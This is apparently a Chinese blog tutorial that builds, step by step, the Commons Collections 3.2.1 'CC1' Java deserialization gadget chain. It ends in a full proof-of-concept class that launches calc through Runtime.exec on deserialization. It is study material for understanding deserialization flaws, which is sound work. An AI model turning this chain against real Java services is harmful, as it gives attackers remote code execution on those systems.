Java反序列化之CC1

2024/01/23 00:23:31

什么是CC链

CC(Common Collections)是Java中常用的集合框架之一,它提供了一组常见的容器类,如ArrayList、HashMap等。然而,CC链(CC chain)是指利用Common Collections框架中的漏洞来构建的一种攻击链。

CC1

https://www.bilibili.com/video/BV1no4y1U7E1?t=690.4

java版本:8u65
既然都是cc链了,肯定要有cc依赖,cc版本是3.2.1

依赖:

<dependencies>
    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

分析

起点:CC下的Transformer。

快捷键

我们使用ctrl + alt + b 查看实现的类。
image.png
其中我们要用的是InvokerTransformer中的transform。
image.png
能注意到有任意代码执行的反射调用。
但在此之前我们要知道,任意命令执行,我们应该在哪里执行命令:
image.png

Runtime.getRuntime().exec("calc");

有了这个,我们再改成反射调用的格式。
注意:打出Runtime.getRuntime();点击alt+enter就可以自动补全。
改成普通反射的写法:

// * 改成反射
Runtime runtime = Runtime.getRuntime();
Class aClass = runtime.getClass();
Method exec = aClass.getMethod("exec", String.class);
exec.invoke(runtime, "calc");

image.png
image.png
然后按照InvokerTransformer实例化和transform执行的所需参数填入内容(重新实现这个反射):

// * 改成所需的语句格式
        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

然后我们需要找到如何才能调用这里,快捷键ctrl + shift + alt + F7查询方法
image.png
image.png
通过这种方式来找到所需要的上一个方法。
最后找到TransformedMap中的decorate方法来赋值。
image.png
想实现这个函数,查看其实例化方法。
image.png
并有其赋值decorate方法:
image.png
就是说要让其中的valueTransformer是执行的transfrom的InvokerTransformer。
于是可以编写出代码:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// * 往回找,直到能readObject
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
// * keyTransformer没用
TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);

这样写就可以调用transform方法。
然后再找如何能调用checkSetValue方法,查找之后发现只有一处AbstractInputCheckedMapDecorator:
image.png
可以发现这个类是TransformedMap类的父类,其中的MapEntry的setValue调用了这个方法。
而遍历Map的一种写法是:

for (Map.Entry entry : objectObjectHashMap.entrySet()) {
    entry.setValue();
}

这样就能调用到其中的setValue方法。
其中setValue中传入runtime参数即可运行。
然后就是继续找,如果有readObject下的调用就直接使用。
找到AnnotationInvocationHandler的readObject方法下setValue方法。
image.png
但由于实例化方法不是public,因此只能在包内调用,也就是说只能用反射来调用。

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // * 获取构造器
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object object = declaredConstructor.newInstance(Override.class, decorate);

        serialize(object);
        deserialize("ser.bin");

最后再加上序列化和反序列化:

public static void serialize(Object object) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(object);
    }

    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }

但还有问题,第一个是setValue的那个传入值是不可以控制的,第二个则是Runtime是不可以被序列化的。

第一个问题

先解决如何使用Runtime。
虽然,runtime不可以被序列化,但是它的class可以,于是可以写出:

Class<Runtime> runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getRuntime.invoke(null, null);
Method exec = runtimeClass.getMethod("exec", String.class);
exec.invoke(runtime, "calc");

然后改成InvokeTransformer的版本:

// * 将格式改为InvokeTransformer
        Method runtimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(runtimeMethod);
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

可以使用chainedTransformer简化:

// * 可以使用chainedTransformer来简化,递归调用
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

第二个问题

然后就需要断点调试。
给AnnotationInvocationHandler这里打上断点。看看是否能进去。
image.png
我们可以注意到,由于memberType是空我们无法进入:
image.png
我们需要找到一个有成员方法的class。key改为名字
image.png
这里没有key这个参数,target中有value这个参数。
image.png
我们改成value试一试,然后将注释改为target。
image.png
再次断点。
image.png
但是无法修改最后的value的值,可以使用其中的ConstantTransformer来。
image.png
也就是在这里加一个让他在Runtime.class中。
image.png
ConstantTransformer被传入什么,transform之后就会返回什么。

最后终于可以成功执行了。QWQ
image.png
完整代码:

package fun.natro92;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(object);
    }

    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        // Runtime.getRuntime().exec("calc");
        // * 改成反射
        // Runtime runtime = Runtime.getRuntime();
        // Class aClass = runtime.getClass();
        // Method exec = aClass.getMethod("exec", String.class);
        // exec.invoke(runtime, "calc");
        // * 改成所需的语句格式
        // Runtime runtime = Runtime.getRuntime();
        // InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        // // * Runtime不可序列化,改为class
        // Class<Runtime> runtimeClass = Runtime.class;
        // Method getRuntime = runtimeClass.getMethod("getRuntime", null);
        // Runtime runtime = (Runtime) getRuntime.invoke(null, null);
        // Method exec = runtimeClass.getMethod("exec", String.class);
        // exec.invoke(runtime, "calc");
        // // * 将格式改为InvokeTransformer
        // Method runtimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        // Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(runtimeMethod);
        // new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
        // * 可以使用chainedTransformer来简化,递归调用
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // chainedTransformer.transform(Runtime.class);
        // * 往回找,直到能readObject
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("value", "value");
        // * keyTransformer没用
        Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
        // for (Map.Entry entry:decorate.entrySet()){
        //     entry.setValue(runtime);
        // }
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // * 获取构造器
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object object = declaredConstructor.newInstance(Target.class, decorate);

        serialize(object);
        deserialize("ser.bin");
    }
}